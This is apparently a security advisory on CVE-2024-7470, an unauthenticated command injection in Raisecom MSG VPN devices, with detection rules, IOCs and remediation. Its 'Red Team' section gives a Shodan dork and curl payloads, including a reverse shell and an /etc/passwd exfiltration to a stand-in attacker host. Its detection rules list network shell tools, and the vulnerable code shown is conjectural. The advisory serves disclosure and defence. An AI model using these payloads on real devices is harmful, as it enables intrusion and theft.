CVE-2024-7470

Executive Summary

CVE-2024-7470 is a critical OS command injection vulnerability discovered in the web interface of Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 devices running firmware version 3.90. The flaw resides in the /vpn/vpn_template_style.php script, specifically within the sslvpn_config_mod function. By manipulating the template or stylenum parameters, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The vendor has not responded to disclosure, and no patch is currently available. Given the public availability of exploit details, this vulnerability poses a severe risk to affected Raisecom devices exposed to the internet.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and exploit code is publicly available. Successful exploitation grants full control over the device, enabling data exfiltration, lateral movement, or use as a botnet node.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw in the sslvpn_config_mod function of /vpn/vpn_template_style.php. The script likely constructs a shell command using user-supplied values for template and stylenum without proper sanitization or escaping. For example, the code may resemble:

$cmd = "some_command --template " . $_POST['template'] . " --stylenum " . $_POST['stylenum'];
system($cmd);

An attacker can inject arbitrary commands by appending shell metacharacters (e.g., ;, |, &&) to either parameter. For instance, sending template=test;id would execute the id command after the intended operation.

The attack is performed via HTTP POST request to the vulnerable endpoint. Since no authentication is required, any network-accessible device is at risk.

Vulnerable vs. Patched Code

Vulnerable Code (Raisecom MSG 3.90):

// /vpn/vpn_template_style.php
function sslvpn_config_mod() {
    $template = $_POST['template'];
    $stylenum = $_POST['stylenum'];
    $cmd = "/usr/bin/some_binary --template $template --stylenum $stylenum";
    system($cmd);
}

Patched Code (Hypothetical):

// /vpn/vpn_template_style.php
function sslvpn_config_mod() {
    $template = escapeshellarg($_POST['template']);
    $stylenum = escapeshellarg($_POST['stylenum']);
    $cmd = "/usr/bin/some_binary --template $template --stylenum $stylenum";
    system($cmd);
}

The patched version uses escapeshellarg() to safely quote and escape the input, preventing injection. Alternatively, using escapeshellcmd() or avoiding system() in favor of exec() with proper argument handling would also mitigate the issue.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Raisecom MSG device (firmware 3.90) accessible on the network.
• Ability to send HTTP POST requests.

Exploit Steps:

1. Identify the target device (e.g., via Shodan dork http.title:"MSG").
2. Send a crafted POST request to /vpn/vpn_template_style.php:

curl -X POST http://target.ip/vpn/vpn_template_style.php \
  -d "template=test;id&stylenum=1"

3. The response will include the output of the id command, confirming command execution.

Advanced Payloads:

• Reverse shell:

curl -X POST http://target.ip/vpn/vpn_template_style.php \
  -d "template=test;bash -i >& /dev/tcp/attacker.ip/4444 0>&1&stylenum=1"

• Data exfiltration:

curl -X POST http://target.ip/vpn/vpn_template_style.php \
  -d "template=test;cat /etc/passwd | curl -X POST http://attacker.ip/exfil --data-binary @-&stylenum=1"

Blue Team (Detection & Response)

Detection:

• Monitor HTTP POST requests to /vpn/vpn_template_style.php with suspicious parameters containing shell metacharacters (;, |, &, $, `).
• Alert on unusual outbound connections from the device (e.g., reverse shells, data exfiltration).

Response:

• Immediately isolate the affected device from the network.
• Block inbound/outbound traffic to/from the device at the firewall.
• Conduct forensic analysis to determine the scope of compromise.
• If possible, apply vendor patch or implement virtual patching via WAF rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /vpn/vpn_template_style.php with parameters containing shell metacharacters.
• Outbound connections to unknown IP addresses on high ports (e.g., 4444, 1337).
• Unusual DNS queries or HTTP requests from the device.

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., reverse shell scripts).
• Modified system binaries or configuration files.
• Presence of web shells (e.g., cmd.php, shell.php).

Process IOCs:

• Unusual processes spawned by the web server (e.g., bash, nc, python).
• Processes running with elevated privileges (root).

Detection Engineering

YARA Rule

rule CVE_2024_7470_Exploit_Detection {
    meta:
        description = "Detects exploit attempts for CVE-2024-7470 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7470"
    strings:
        $vuln_path = "/vpn/vpn_template_style.php"
        $shell_meta1 = /[;&|`$]/
        $shell_meta2 = /(bash|sh|nc|python|perl|wget|curl)/
    condition:
        $vuln_path and (#shell_meta1 > 2 or $shell_meta2)
}

Sigma Rule

title: CVE-2024-7470 OS Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests targeting /vpn/vpn_template_style.php with potential command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/vpn/vpn_template_style.php'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in template names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7470 OS Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/vpn/vpn_template_style.php"; http_uri; pcre:"/(;|\||&&|`|\$\().*$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet and untrusted networks.
2. Implement WAF rules to block requests containing shell metacharacters in the template and stylenum parameters.
3. Monitor logs for exploitation attempts and IOCs.

Long-Term Fix:

• Since no vendor patch is available, consider replacing the device with a supported alternative.
• If replacement is not possible, disable the VPN template functionality or restrict access to the web interface via firewall rules (allow only trusted IPs).

Virtual Patching:

• Deploy a reverse proxy (e.g., Nginx, Apache mod_security) in front of the device to filter malicious requests.

Example Nginx rule:

location /vpn/vpn_template_style.php {
    if ($args ~* "[;&|`$]") {
        return 403;
    }
    proxy_pass http://backend;
}

Valters IT